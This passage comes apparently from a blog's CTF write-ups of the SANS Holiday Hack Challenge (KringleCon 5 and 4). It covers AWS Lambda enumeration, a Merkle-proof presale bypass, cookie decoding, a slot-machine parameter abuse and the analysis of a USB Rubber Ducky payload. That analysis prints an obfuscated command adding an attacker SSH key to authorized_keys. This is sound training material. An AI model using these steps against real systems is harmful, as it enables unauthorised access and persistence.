\u0026ldquo;\u0026quot;0e69b8d53d97db0db9f7de8663e9ec09\u0026quot;\u0026rdquo;,\n\u0026ldquo;Size\u0026rdquo;: 32498,\n\u0026ldquo;StorageClass\u0026rdquo;: \u0026ldquo;STANDARD\u0026rdquo;,\n\u0026ldquo;Owner\u0026rdquo;: {\n\u0026ldquo;DisplayName\u0026rdquo;: \u0026ldquo;grinchum\u0026rdquo;,\n\u0026ldquo;ID\u0026rdquo;: \u0026ldquo;15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60\u0026rdquo;\n}\n},\n{\n\u0026ldquo;Key\u0026rdquo;: \u0026ldquo;smog-power-station.jpg\u0026rdquo;,\n\u0026ldquo;LastModified\u0026rdquo;: \u0026ldquo;2022-09-23 20:40:46+00:00\u0026rdquo;,\n\u0026ldquo;ETag\u0026rdquo;: \u0026ldquo;\u0026quot;0e69b8d53d97db0db9f7de8663e9ec09\u0026quot;\u0026rdquo;,\n\u0026ldquo;Size\u0026rdquo;: 32498,\n\u0026ldquo;StorageClass\u0026rdquo;: \u0026ldquo;STANDARD\u0026rdquo;,\n\u0026ldquo;Owner\u0026rdquo;: {\n\u0026ldquo;DisplayName\u0026rdquo;: \u0026ldquo;grinchum\u0026rdquo;,\n\u0026ldquo;ID\u0026rdquo;: \u0026ldquo;15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60\u0026rdquo;\n}\n},\n{\n\u0026ldquo;Key\u0026rdquo;: \u0026ldquo;smogmachine_lambda_handler_qyJZcqvKOthRMgVrAJqq.py\u0026rdquo;,\n\u0026ldquo;LastModified\u0026rdquo;: \u0026ldquo;2022-09-26 16:31:33+00:00\u0026rdquo;,\n\u0026ldquo;ETag\u0026rdquo;: \u0026ldquo;\u0026quot;fd5d6ab630691dfe56a3fc2fcfb68763\u0026quot;\u0026rdquo;,\n\u0026ldquo;Size\u0026rdquo;: 5823,\n\u0026ldquo;StorageClass\u0026rdquo;: \u0026ldquo;STANDARD\u0026rdquo;,\n\u0026ldquo;Owner\u0026rdquo;: {\n\u0026ldquo;DisplayName\u0026rdquo;: \u0026ldquo;grinchum\u0026rdquo;,\n\u0026ldquo;ID\u0026rdquo;: \u0026ldquo;15f613452977255d09767b50ac4859adbb2883cd699efbabf12838fce47c5e60\u0026rdquo;\n}\n}],\n\u0026ldquo;Name\u0026rdquo;: \u0026ldquo;smogmachines3\u0026rdquo;,\n\u0026ldquo;Prefix\u0026rdquo;: \u0026ldquo;\u0026rdquo;,\n\u0026ldquo;MaxKeys\u0026rdquo;: 1000,\n\u0026ldquo;EncodingType\u0026rdquo;: \u0026ldquo;url\u0026rdquo;\n} There are multiple images and what looks like the code of a Lambda function. Unfortunately, we do not have the permission to download them.\nQ9. Use the AWS CLI to list Lambda functions. $ aws lambda list-functions\n{\n\u0026ldquo;Functions\u0026rdquo;: [\n{\n\u0026ldquo;FunctionName\u0026rdquo;: \u0026ldquo;smogmachine_lambda\u0026rdquo;,\n\u0026ldquo;FunctionArn\u0026rdquo;: \u0026ldquo;arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda\u0026rdquo;,\n\u0026ldquo;Runtime\u0026rdquo;: \u0026ldquo;python3.9\u0026rdquo;,\n\u0026ldquo;Role\u0026rdquo;: \u0026ldquo;arn:aws:iam::602123424321:role/smogmachine_lambda\u0026rdquo;,\n\u0026ldquo;Handler\u0026rdquo;: \u0026ldquo;handler.lambda_handler\u0026rdquo;,\n\u0026ldquo;CodeSize\u0026rdquo;: 2126,\n\u0026ldquo;Description\u0026rdquo;: \u0026ldquo;\u0026rdquo;,\n\u0026ldquo;Timeout\u0026rdquo;: 600,\n\u0026ldquo;MemorySize\u0026rdquo;: 256,\n\u0026ldquo;LastModified\u0026rdquo;: \u0026ldquo;2022-09-07T19:28:23.634+0000\u0026rdquo;,\n\u0026ldquo;CodeSha256\u0026rdquo;: \u0026ldquo;GFnsIZfgFNA1JZP3TgTI0tIavOpDLiYlg7oziWbtRsa=\u0026rdquo;,\n\u0026ldquo;Version\u0026rdquo;: \u0026ldquo;$LATEST\u0026rdquo;,\n\u0026ldquo;VpcConfig\u0026rdquo;: {\n\u0026ldquo;SubnetIds\u0026rdquo;: [\n\u0026ldquo;subnet-8c80a9cb8b3fa5505\u0026rdquo;\n],\n\u0026ldquo;SecurityGroupIds\u0026rdquo;: [\n\u0026ldquo;sg-b51a01f5b4711c95c\u0026rdquo;\n],\n\u0026ldquo;VpcId\u0026rdquo;: \u0026ldquo;vpc-85ea8596648f35e00\u0026rdquo;\n},\n\u0026ldquo;Environment\u0026rdquo;: {\n\u0026ldquo;Variables\u0026rdquo;: {\n\u0026ldquo;LAMBDASECRET\u0026rdquo;: \u0026ldquo;975ceab170d61c75\u0026rdquo;,\n\u0026ldquo;LOCALMNTPOINT\u0026rdquo;: \u0026ldquo;/mnt/smogmachine_files\u0026rdquo;\n}\n},\n\u0026ldquo;TracingConfig\u0026rdquo;: {\n\u0026ldquo;Mode\u0026rdquo;: \u0026ldquo;PassThrough\u0026rdquo;\n],\n\u0026ldquo;SecurityGroupIds\u0026rdquo;: [\n\u0026ldquo;sg-b51a01f5b4711c95c\u0026rdquo;\n],\n\u0026ldquo;VpcId\u0026rdquo;: \u0026ldquo;vpc-85ea8596648f35e00\u0026rdquo;\n},\n\u0026ldquo;Environment\u0026rdquo;: {\n\u0026ldquo;Variables\u0026rdquo;: {\n\u0026ldquo;LAMBDASECRET\u0026rdquo;: \u0026ldquo;975ceab170d61c75\u0026rdquo;,\n\u0026ldquo;LOCALMNTPOINT\u0026rdquo;: \u0026ldquo;/mnt/smogmachine_files\u0026rdquo;\n}\n},\n\u0026ldquo;TracingConfig\u0026rdquo;: {\n\u0026ldquo;Mode\u0026rdquo;: \u0026ldquo;PassThrough\u0026rdquo;\n},\n\u0026ldquo;RevisionId\u0026rdquo;: \u0026ldquo;7e198c3c-d4ea-48dd-9370-e5238e9ce06e\u0026rdquo;,\n\u0026ldquo;FileSystemConfigs\u0026rdquo;: [\n{\n\u0026ldquo;Arn\u0026rdquo;: \u0026ldquo;arn:aws:elasticfilesystem:us-east-1:602123424321:access-point/f\nsap-db3277b03c6e975d2\u0026rdquo;,\n\u0026ldquo;LocalMountPath\u0026rdquo;: \u0026ldquo;/mnt/smogmachine_files\u0026rdquo;\n}],\n\u0026ldquo;PackageType\u0026rdquo;: \u0026ldquo;Zip\u0026rdquo;,\n\u0026ldquo;Architectures\u0026rdquo;: [\n\u0026ldquo;x86_64\u0026rdquo;\n],\n\u0026ldquo;EphemeralStorage\u0026rdquo;: {\n\u0026ldquo;Size\u0026rdquo;: 512\n}\n}]\n} There is only one function called smogmachine_lambda. The function is written in Python and a secret LAMBDASECRET is configured as environment variable which is a bad practice.\nQ10. Use the AWS CLI to get the configuration containing the public URL of the Lambda function. $ aws lambda get-function-url-config --function-name smogmachine_lambda\n{\n\u0026ldquo;FunctionUrl\u0026rdquo;: \u0026ldquo;https://rxgnav37qmvqxtaksslw5vwwjm0suhwc.lambda-url.us-east-1.on.aws/\u0026quot;,\n\u0026ldquo;FunctionArn\u0026rdquo;: \u0026ldquo;arn:aws:lambda:us-east-1:602123424321:function:smogmachine_lambda\u0026rdquo;,\n\u0026ldquo;AuthType\u0026rdquo;: \u0026ldquo;AWS_IAM\u0026rdquo;,\n\u0026ldquo;Cors\u0026rdquo;: {\n\u0026ldquo;AllowCredentials\u0026rdquo;: false,\n\u0026ldquo;AllowHeaders\u0026rdquo;: [],\n\u0026ldquo;AllowMethods\u0026rdquo;: [\n\u0026ldquo;GET\u0026rdquo;,\n\u0026ldquo;POST\u0026rdquo;\n],\n\u0026ldquo;AllowOrigins\u0026rdquo;: [\n\u0026quot;*\u0026rdquo;\n],\n\u0026ldquo;ExposeHeaders\u0026rdquo;: [],\n\u0026ldquo;MaxAge\u0026rdquo;: 0\n},\n\u0026ldquo;CreationTime\u0026rdquo;: \u0026ldquo;2022-09-07T19:28:23.808713Z\u0026rdquo;,\n\u0026ldquo;LastModifiedTime\u0026rdquo;: \u0026ldquo;2022-09-07T19:28:23.808713Z\u0026rdquo;\n} Lambda function URLs can be created to invoke Lambdas externally. Here the function can be invoked externally only if we are authenticated using an IAM identity.\n5 - Recover the Burning Ring of Fire 5.1 Buy a Hat Difficulty Objective Location 2/5 Travel to the Burning Ring of Fire and purchase a hat from the vending machine with KringleCoin. Find hints for this objective hidden throughout the tunnels. Burning Ring of Fire We need to interact with a vending machine and buy a hat with KringleCoins (KC), a custom cryptocurrency. All along the challenges, each time we completed one, we received KringleCoins on the wallet that we had to create before starting the game. There are KTMs (KringleCoin Teller Machines) in some locations that we can use to check the balance of our wallet, to pre-approve a transfer or simply test our wallet secret key.\nKringleCoin Teller Machines In the hat vending machine, we need to first choose a hat to buy…there are hundreds. Each hat has a cost of 10 KC, an ID and a linked wallet:\nHat vending machine Once we have chosen a hat, we need first to pre-approve the financial transaction in a KTM using the information shown above and our wallet private key:\nKTM - Approve Transfer Now back to the vending machine to finalize the purchase:\nHat vending machine - purchase We get the hat in our inventory and our avatar can wear it.\n5.2 Blockchain Divination Difficulty Objective Location 4/5 Use the Blockchain Explorer in the Burning Ring of Fire to investigate the contracts and transactions on the chain. At what address is the KringleCoin smart contract deployed? Find hints for this objective hidden throughout the tunnels. Burning Ring of Fire We have access to a Blockchain Viewer to explore the chain on which all the KringleCoin transactions are held. We can view for instance the 2 transactions that were done to buy our hat. We can see the transfer pre-approval on block 107686:\nTransaction - block 107686 And the actual purchase on block 107693:\nTransaction - block 107693 We see as well that each time we validated a challenge and got KringleCoins, there was a transaction on the user\u0026rsquo;s wallet:\nTransaction - Challenge validation However, to complete this challenge we only have to answer one question: \u0026ldquo;At what address is the KringleCoin smart contract deployed?\u0026rdquo;\nAs this must have been done at the very beginning of the chain, let\u0026rsquo;s look for the first blocks. The block 0 does not contain any transaction. But the next block is where the smart contract was deployed.\nTransaction - block 1 The smart contract is written in the Solidity language and we can read its source code in the same block. It defines all methods to handle the cryptocurrency transactions:\nKringleCoin.sol Answer: 0xc27A2D3DE339Ce353c0eFBa32e948a88F1C86554\n5.3 Exploit a Smart Contract Difficulty Objective Location 5/5 Exploit flaws in a smart contract to buy yourself a Bored Sporc NFT. Find hints for this objective hidden throughout the tunnels. Burning Ring of Fire We have acces to https://boredsporcrowboatsociety.com that is used to sell NFTs.\nThe Bored Sporc Rowboat Society The gallery shows the list of NFTs that have already been purchased, their owner and their current value:\nGallery There is a presale page as well where only a few selected members of the club are able to purchase NFTs at a very low price. In order to verify if we are in the presale list, we need to provide our wallet address and one or more proof values that were given to us. Of course we are not part of the selected ones.\nPresale The goal of this challenge is to enter the presale approved list and purchase an NFTs at a lower price.\nWe are given a few hint on how to achieve that:\n a website that explains what is a Merkle Tree a talk from Professor Petabyte a Github repository A Merkle Tree is a hash tree that has multiple use cases but the one that interests us here is to prove that some data is included in a list. All is very well explained in the above links. We understand that the presale allow list verification uses a Merkle Tree to check if our wallet is part of that list.\nIf we look at the call that is done when we try to verify our wallet, we see that the following payload is sent:\n{\n\u0026ldquo;WalletID\u0026rdquo;:\u0026ldquo;0x5E2d75Fe1057066b1Ef4eCA612b526bAfC8C2b0D\u0026rdquo;,\u0026ldquo;Root\u0026rdquo;:\u0026ldquo;0x52cfdfdcba8efebabd9ecc2c60e6f482ab30bdc6acf8f9bd0600de83701e15f1\u0026rdquo;,\n\u0026ldquo;Proof\u0026rdquo;:\u0026ldquo;111111111111111111111111111111111\u0026rdquo;,\n\u0026ldquo;Validate\u0026rdquo;:\u0026ldquo;true\u0026rdquo;,\n\u0026ldquo;Session\u0026rdquo;:\u0026ldquo;919f7b3a-0ac8-4ce1-b3cb-825421a222a8\u0026rdquo;\n} The Root value is constant and represents the root value of the calculated Merkle Tree. Basically, the wallets in the allow list and our own wallet are nodes of the hash tree. The root of the tree is calculated with those values and if the result equals the Root value, we are allowed in the list.\nAs we have the control of this Root value in the verification call, it means that we can:\n take the wallet address of someone already in the list (e.g the first NFT owner address in the gallery) take our wallet address calculate the resulting root and proof value provide all those information to the webserver! This Github repository does exactly that, let\u0026rsquo;s use it!\n$ git clone https://github.com/QPetabyte/Merkle_Trees.git\n$ cd Merkle_Trees\n$ chmod +x merkle_tree.py\n$ pip3 install -r requirements.txt We just need to replace the values in the allowlist list by our 2 values in the merkle_tree.py script:\n 0x5E2d75Fe1057066b1Ef4eCA612b526bAfC8C2b0D our wallet (make sure to put it first in the list) 0xa1861E96DeF10987E1793c8f77E811032069f8E9 the wallet of someone in the list We run the script and we get the following result:\nRoot: 0xdec160a936cf1ca34ce847d53e64de0798963a2285591f246881fb93600c639a\nProof: [\u0026lsquo;0x3ca7b0f306be105d5e5b040af0e2bc35fb95026afcd89f726e8e94994c312f79\u0026rsquo;] Now we only have to enter our wallet address and the proof in the verification form. Intercept the POST call and replace the Root value with our own to be allowed in the presale list:\nPresale allow list The last thing to do to be able to purchase our NFT is to go back to a KTM to pre-approve the purchase as explained in the presale webpage. Then back to the presale webpage to finalize the purchase of our very first NFT!\nNFT Purchase We can see our transaction in the chain. The block 87391 is the pre-approval:\nBlockchain - block 87391 The block 87408 is the actual NFT purchase:\nBlockchain - block 87408 And finally our NTF is:\nPurchased NFT Loot Boxes All along the path to the rings, we can find 6 hidden loot boxes containing additional hints and coins. Here are their location.\n Number Location 1 2 3 4 5 6 Christmas Eggs This year theme is clearly The Lord of the Rings. Therefore, we will keep aside all the references to it, unless they are really well hidden.\n Location Egg Wireshark Practice The initial phishing email phish.odt can be found in /opt. Windows Event Logs We can find the content of the file mydiary.txt written by an elf in the logs:\nOct 31 2022\nHalloween is the worst holiday ever. Everything is so spooky! And some elves get way too into it, especially Smilegol this year. It\u0026rsquo;s very unlike him. He\u0026rsquo;s been acting kind of strange…\nP.S.\nDon\u0026rsquo;t tell anybody, but I do like all the tasty candy we get. So I guess Halloween isn\u0026rsquo;t all that bad.\nNov 25 2022\nI love Thanksgiving because it means Christmas is almost here! That\u0026rsquo;s what I\u0026rsquo;m thankful for this year\u0026hellip; and every year. Smilegol was such a glutton at Thanksgiving dinner. He kept sticking his hand in everyone\u0026rsquo;s food and yelling \u0026lsquo;MY GERMS!\u0026rsquo; and then coughing onto it with that yucky cough he has now. He\u0026rsquo;s like a whole different elf lately. Everyone is really starting to become worried about him.\nDec 18 2022\nLembanh! Santa wants us to try making some this year. We searched everywhere for this recipe that\u0026rsquo;s supposed to have the secret ingredient to really make it authentic. It\u0026rsquo;s gonna be delicious, I\u0026rsquo;m so excited! Jolly CI/CD The ecommerce sells the following flags and banners of the many noble houses found in the land of the North: Glamtariel\u0026rsquo;s Fountain When we ask Glamtariel for the greenring.txt file, we get the answer: \u0026ldquo;Hey, who is this guy? He doesn\u0026rsquo;t have a ticket!^I don\u0026rsquo;t remember seeing him in the movies!\u0026rdquo; with this image:It refers to Tom Bombadil, a Lord of the Rings characters that appears in the books but not in the movies. Burning Ring of Fire Jason is back: Underground A hidden message in the tunnel map: Shenanigans Like last year, the Shenanigans room is there and its entrance is hidden behind the castle. The turtle background is still there as well. The image represents Great A’Tuin, the Giant Star Turtle who travels through the Discworld universe’s space.But there is something new there this year. The Santa Magic terminal that allows users to retrieve the secret key of their wallet: During the convo with Santa, he refers to some characters like Yukon Cornelius, Dolly, Burgermeister Meisterburger and the island of Misfit Toys. Castle Entry The 4 birds of KringleCon 4: Loot Box 5 Dimitri hat: Resources Recover the Tolkien Ring https://youtu.be/5NZeHYPMXAE https://protocoholic.com/2018/05/24/wireshark-how-to-identify-top-talkers-in-network/ https://suricata.readthedocs.io/en/suricata-6.0.0/rules/intro.html https://github.com/pan-unit42/wireshark-tutorial-Dridex-traffic https://unit42.paloaltonetworks.com/wireshark-tutorial-dridex-infection-traffic/ https://github.com/omerbenamram/evtx/ Recover the Elfen Ring https://learn.snyk.io/lessons/container-runs-in-privileged-mode/kubernetes/ https://github.com/git-guides/git-clone https://tbhaxor.com/understanding-linux-capabilities/ https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities Recover the Web Ring https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html https://cheatsheetseries.owasp.org/cheatsheets/Content_Security_Policy_Cheat_Sheet.html https://content-security-policy.com/ https://www.wireshark.org/docs/wsug_html_chunked/ChWorkFindPacketSection.html https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing https://owasp.org/www-community/attacks/Brute_force_attack https://owasp.org/www-community/attacks/Forced_browsing Recover the Cloud Ring https://awscli.amazonaws.com/v2/documentation/api/latest/reference/sts/get-caller-identity.html https://youtu.be/t-xDvVUialo https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_managed-vs-inline.html https://www.sans.org/blog/cloud-instance-metadata-services-imds-/ Recover the Burning Ring of Fire https://decentralizedthoughts.github.io/2020-12-22-what-is-a-merkle-tree/ https://youtu.be/Qt_RWBq63S8 https://github.com/QPetabyte/Merkle_Trees https://youtu.be/r3zj9DPC8VY ","description":"This year challenges were covering logs and PCAP analysis, CI/CD vulnerabilities, a container escape, webapp hacking (XXE, CSP bypass), an introduction to AWS CLI for cloud discovery and an introduction to smart contracts.","id":0,"tag":"kringlecon ; holidayhack","title":"KringleCon 5: Golden Rings","type":"posts","url":"https://noobintheshell.com/posts/kringlecon5/"},{"content":" The SANS Holiday Hack Challenge is back! And with it, the fourth edition of KringleCon and Jack Frost! The fourth edition of Kringlecon was a blast! This year challenges were covering webapp hacking (SQLi, SSRF, business logic issues), binary analysis, digital forensics (logs and network capture analysis), Active Directory attacks, learning Python and shellcoding, some encryption attack, analyzing an IMDS service and FPGA programming. Two challenges on Log4Shell were added as well during the challenge. KringleCon is as well an online security conference and you can find all the talks on KringleCon’s Youtube channel. The same Discord channel as last year was available to interact with the community. A special thanks goes to the whole Counter Hack team for their incredible work! Each year the bar is raised! Objectives 1 - KringleCon Orientation Difficulty Objectives Location 1/5 Talk to Jingle Ringford - Jingle will start you on your journey! Orientation 1/5 Get your badge - Pick up your badge Orientation 1/5 Get the wifi adapter - Pick up the wifi adapter Orientation 1/5 Use the terminal - Click the computer terminal Orientation For the first objective, there is no real challenge. This is a prologue where we need to talk to the elf then grab a Wi-Fi Dongle on the floor.\nObjective 1 location The dongle gives us access to a new version of the Cranberry Pi with Wi-Fi support that we can access from the main menu.\nCranberry Pi with Wi-Fi support A Cranberry Pi appears after that on the table next to the elf. We open the terminal and follow the instruction (enter answer in the top pane) to validate the objective and open the gate to Santa\u0026rsquo;s castle.\n2 - Where in the World is Caramel Santaigo Difficulty Objective Location 1/5 Help Tangle Coalbox find a wayward elf in Santa\u0026rsquo;s courtyard. Talk to Piney Sappington nearby for hints. Courtyard We access an OSINT game called Where in the World is Caramel Santaigo.\nWHERE IN THE WORLD IS CARAMEL SANTAIGO? The goal is to follow the steps of an elf around the world. To help with that we get 3 hints for each places he visited along the way when using the Investigate button. By using the Depart by sleigh button, we get 3 possible destinations. Only one is right. Moreover, each time we do an action, we lose 1 hour. We start on Monday 9am at Santa\u0026rsquo;s castle and need to find the elf by Sunday.\nEach time the game is restarted, the hints and the locations are randomized. There are 3 cities to visit only and at the end we need to find who was the elf we followed. We can use the Visit Interink along the way to help narrowing down the elf based on the hints we get.\nInvestigation start We can play the game normally and complete it quite easily by reading the hints everytime. But where is the fun? Let\u0026rsquo;s analyze the application and the calls that are done to see if we can cheat.\nAs soon as we start the game, we get a weird cookie called Cookiepella with a value that looks like a JWT token. Here is an example:\n.eJyFUktz0zAQ_is74sDFYWzHsdPcSqdAZoB2mnJgEg5raW0Ly5JHlpMJnf53Vm25UbjZ-720jwdBphEbsRvR94bgjlRN3p9FEoFP2oZJbPbiviPgfxjIBu0sKZjcQKHTtgWs3RxgF1D2cHMk3xh3ArQKrt68Y5ubLoEtWBe0ZFno6AwdKsCo8HDvqY_FgbGxY2eQOFHU_YlsXQBPaAzrCAPzngPnKYZPI0qaoHEetFX8uulFe4aexgCyI9lHImdojjvpEMgDjmPkdeiV-JEI4yTGvuIg0AZ8O8EVTsEQc9wYkTiFvfhKJ_jufJ_At90lY9dK23r2Lbe4ky4Y7pqrX5wN_jCnKV2gSdjJokKO2Ys7Ovc_8fiEKXbZSnrR3HpsZ2LyL5Idb2Gca6MlA5-dVc4mcG3bJ2q0ubThRH5M4D2ZVs8D03ZhDqFFHxL4SH5AGzf4WtwrHreGZ9k5o8hHsTui1TToBD5o-6zjUXn-cMOOSIlNXmVc4GVQvJG_t_2P1v7zBA47ahmcP9-7nuJuHvhypm5zELIslnRRq6zMaollkVKBWKUyX3OpwTwrVpmqViWuqKnWqkpXVZ5V5XJZ1VgVq-ogEr6pyc1e0lZt4CCKpSyzdZ4vqjJLF0WxXi4wTS8WqNhB5bJZ581BPIrH36DVC60.YdYWfA.hkKTK_joXgSaNT0J768-NW2wD2o There are 3 different part in this \u0026ldquo;token\u0026rdquo; separated by a dot. The first part is the interesting one. If we Base64-decode it, we see that the resulting hex data starts with 0x789c which is the magic header for a ZLIB compression. We can use this CyberChef recipe to decompress that easily. We get:\n{\u0026ldquo;elf\u0026rdquo;:\u0026ldquo;Sparkle Redberry\u0026rdquo;,\u0026ldquo;elfHints\u0026rdquo;:[\u0026ldquo;The elf mentioned something about Stack Overflow and C#.\u0026rdquo;,\u0026ldquo;Oh, I noticed they had a Star Trek themed phone case.\u0026rdquo;,\u0026ldquo;The elf got really heated about using spaces for indents.\u0026rdquo;,\u0026ldquo;They kept checking their Twitter app.\u0026rdquo;,\u0026ldquo;hard\u0026rdquo;],\u0026ldquo;location\u0026rdquo;:\u0026ldquo;Santa\u0026rsquo;s Castle\u0026rdquo;,\u0026ldquo;options\u0026rdquo;:[[\u0026ldquo;New York, USA\u0026rdquo;,\u0026ldquo;Edinburgh, Scotland\u0026rdquo;,\u0026ldquo;Montr\\u00e9al, Canada\u0026rdquo;],[\u0026ldquo;Reykjav\\u00edk, Iceland\u0026rdquo;,\u0026ldquo;Prague, Czech Republic\u0026rdquo;,\u0026ldquo;London, England\u0026rdquo;],[\u0026ldquo;Antwerp, Belgium\u0026rdquo;,\u0026ldquo;Stuttgart, Germany\u0026rdquo;,\u0026ldquo;Reykjav\\u00edk, Iceland\u0026rdquo;],[\u0026ldquo;Antwerp, Belgium\u0026rdquo;,\u0026ldquo;Placeholder\u0026rdquo;,\u0026ldquo;Rovaniemi, Finland\u0026rdquo;]],\u0026ldquo;randomSeed\u0026rdquo;:271,\u0026ldquo;route\u0026rdquo;:[\u0026ldquo;Montr\\u00e9al, Canada\u0026rdquo;,\u0026ldquo;Prague, Czech Republic\u0026rdquo;,\u0026ldquo;Antwerp, Belgium\u0026rdquo;,\u0026ldquo;Placeholder\u0026rdquo;],\u0026ldquo;victoryToken\u0026rdquo;:\u0026quot;{ hash:\u0026quot;c643e9bd161bca640e4aa70c28d16fa21451d756a5ef78d70572176337ba7457\u0026quot;, resourceId: \u0026quot;43c61822-7610-4483-a009-adef7d2cf82f\u0026quot;}\u0026quot;} We can read who is the elf that we are following: Sparkle Redberry; as well as the route he took: Montréal =\u0026gt; Prague =\u0026gt; Antwerp.\nWe can complete the game and the objective with this information!\n3 - Thaw Frost Tower\u0026rsquo;s Entrance Difficulty Objective Location 2/5 Turn up the heat to defrost the entrance to Frost Tower. Click on the Items tab in your badge to find a link to the Wi-fi Dongle\u0026rsquo;s CLI interface. Talk to Greasy Gopherguts outside the tower for tips. The North Pole We need to defrost the entrance to the Frost Tower that was frozen by Jack Frost. To accomplish that, we need to reach the thermostat inside the building through a Wi-Fi connection.\nObjective 3 location We stop next to the thermostat that we see through the window and open the Wi-Fi CLI. We check with iwconfig what is the wireless interface:\n$ iwconfig\nwlan0 IEEE 802.11 ESSID:off/any\nMode:Managed Access Point: Not-Associated Tx-Power=22 dBm\nRetry:off RTS thr:off Fragment thr=7 B\nPower Management:on Then we scan the wireless networks in range using the wlan0 interface:\n$ iwlist wlan0 scanning\nwlan0 Scan completed :\nCell 01 - Address: 02:4A:46:68:69:21\nFrequency:5.2 GHz (Channel 40)\nQuality=48/70 Signal level=-62 dBm\nEncryption key:off\nBit Rates:400 Mb/s\nESSID:\u0026ldquo;FROST-Nidus-Setup\u0026rdquo; The FROST-Nidus-Setup Wi-Fi network is in reach and full open. We can connect to it with:\n$ iwconfig wlan0 essid FROST-Nidus-Setup\n** New network connection to Nidus Thermostat detected! Visit http://nidus-setup:8080/ to complete setup\n(The setup is compatible with the \u0026lsquo;curl\u0026rsquo; utility) When accessing the Nidus Thermostat setup page we get the following information:\nNidus Thermostat setup page And the API documentation can be read through the /apidoc endpoint:\nNidus Thermostat API doc The current entrance temperature can be checked without registration with a GET request to the /api/cooler endpoint:\n$ curl http://nidus-setup:8080/api/cooler\n{\n\u0026ldquo;temperature\u0026rdquo;: -40.26,\n\u0026ldquo;humidity\u0026rdquo;: 39.55,\n\u0026ldquo;wind\u0026rdquo;: 11.12,\n\u0026ldquo;windchill\u0026rdquo;: -52.08\n} When we try to register the thermostat by calling the /register endpoint, we are asked to enter its serial number\u0026hellip;that we do not have. We can try to do a POST request to the /cooler endpoint to raise the temperature as it is the only endpoint that does not require the registration:\n$ curl -XPOST -H \u0026lsquo;Content-Type: application/json\u0026rsquo; --data-binary \u0026lsquo;{\u0026ldquo;temperature\u0026rdquo;: 10}\u0026rsquo; http://nidus-setup:8080/api/cooler\n{\n\u0026ldquo;temperature\u0026rdquo;: 10.89,\n\u0026ldquo;humidity\u0026rdquo;: 40.47,\n\u0026ldquo;wind\u0026rdquo;: 10.08,\n\u0026ldquo;windchill\u0026rdquo;: 9.68,\n\u0026ldquo;WARNING\u0026rdquo;: \u0026ldquo;ICE MELT DETECTED!\u0026rdquo;\n} And that\u0026rsquo;s how we complete the objective. The door is defrost and we can enter the Frost Tower.\n4 - Slot Machine Investigation Difficulty Objective Location 2/5 Test the security of Jack Frost\u0026rsquo;s slot machines. What does the Jack Frost Tower casino security team threaten to do when your coin total exceeds 1000? Submit the string in the server data.response element. Talk to Noel Boetie outside Santa\u0026rsquo;s Castle for help. Frost Tower Lobby The Jack Frost\u0026rsquo;s Slot Machine is a website that is accessible on https://slots.jackfrosttower.com:\nFrosty Slots We start with a credit of 100 coins and the goal is to reach at least 1000. We spin the game and hope to align 3 or more same characters to win. We can change 2 values, the bet size (from 0.1, 0.25 or 0.5) and the bet level (from 1 to 10) that changes the number of coins we bet. The minimum is 2 and the max is 100. If we proxify the call we see the following call to the /spin API endpoint:\nAPI call And the response looks like:\nAPI call response Basically, the 3 values are linked as follows: total bet = betamount * numline * cpl. The only value we can not change in the game is numline and it defaults to 20.\nWe send this call to the Burp Repeater and start to play with the POST values. We see the following contraints:\n betamount \u0026gt;= 0 cpl \u0026gt; 0 numline can be any number positive or negative betamout * numline * cpl \u0026lt;= the credit we have As numline is not properly validated and accepts negative values, we can set it, for instance, to -20. We get a total bet of -2 which is less than the credit we have. If we spin and lose, this value is substracted from the credit and when we substract a negative value\u0026hellip;we add it! So to get 1000 credit in one go, we can simply set betamount=10\u0026amp;numline=-10\u0026amp;cpl=10 and we get the following response:\nVulnerability I\u0026rsquo;m going to have some bouncer trolls bounce you right out of this casino! 5 - Strange USB Device Difficulty Objective Location 2/5 Assist the elves in reverse engineering the strange USB device. Visit Santa\u0026rsquo;s Talks Floor and hit up Jewel Loggins for advice. Speaker UNPreparedness Room For this objective, we will have to analyze a USB Rubber Duckie attack by investigating the USB data found on the USB stick still plugged in.\nObjective 5 location The file to analyze is /mnt/USBDEVICE/inject.bin. This file is an encoded version of a Ducky Script that we can reverse engineer with a tool called Mallard. We can find this script in /home/elf/mallard.py. We can simply run ./mallard.py --file /mnt/USBDEVICE/inject.bin:\n[TODO] Copy paste the decoded file into GIST!\nWe see the commands that are executed by the sript. The very last command is weakly obfuscated. The attacker copy his SSH public key into the user\u0026rsquo;s authorized_keys file for persistence.\n$ echo ==gCzlXZr9FZlpXay9Ga0VXYvg2cz5yL+BiP+AyJt92YuIXZ39Gd0N3byZ2ajFmau4WdmxGbvJHdAB3bvd2Ytl3ajlGILFESV1mWVN2SChVYTp1VhNlRyQ1UkdFZopkbS1EbHpFSwdlVRJlRVNFdwM2SGVEZnRTaihmVXJ2ZRhVWvJFSJBTOtJ2ZV12YuVlMkd2dTVGb0dUSJ5UMVdGNXl1ZrhkYzZ0ValnQDRmd1cUS6x2RJpHbHFWVClHZOpVVTpnWwQFdSdEVIJlRS9GZyoVcKJTVzwWMkBDcWFGdW1GZvJFSTJHZIdlWKhkU14UbVBSYzJXLoN3cnAyboNWZ | rev | base64 -d\necho \u0026lsquo;ssh-rsa UmN5RHJZWHdrSHRodmVtaVp0d1l3U2JqZ2doRFRHTGRtT0ZzSUZNdyBUaGlzIGlzIG5vdCByZWFsbHkgYW4gU1NIIGtleSwgd2UncmUgbm90IHRoYXQgbWVhbi4gdEFKc0tSUFRQVWpHZGlMRnJhdWdST2FSaWZSaXBKcUZmUHAK ickymcgoop@trollfun.jackfrosttower.com\u0026rsquo; \u0026raquo; ~/.ssh/authorized_keys\n ickymcgoop 6 - Shellcode Primer Difficulty Objective Location 3/5 Complete the Shellcode Primer in Jack\u0026rsquo;s office. According to the last challenge, what is the secret to KringleCon success? \u0026ldquo;All of our speakers and organizers, providing the gift of ____, free to the community.\u0026rdquo; Talk to Chimney Scissorsticks in the NetWars area for hints. Jack\u0026rsquo;s Office Objective 6 location We have to go through a primer on 64-bit shellcoding. The training starts at https://tracer.kringlecastle.com/.\nShellcode Primer We will have multiple exercices to complete. The very first one is just the \u0026ldquo;Introduction\u0026rdquo; to get familiarized with the interface. We can simply read the description and click the Execute button. The next one is again only a tutorial about \u0026ldquo;Loops\u0026rdquo;:\nLoops Again here, we do not 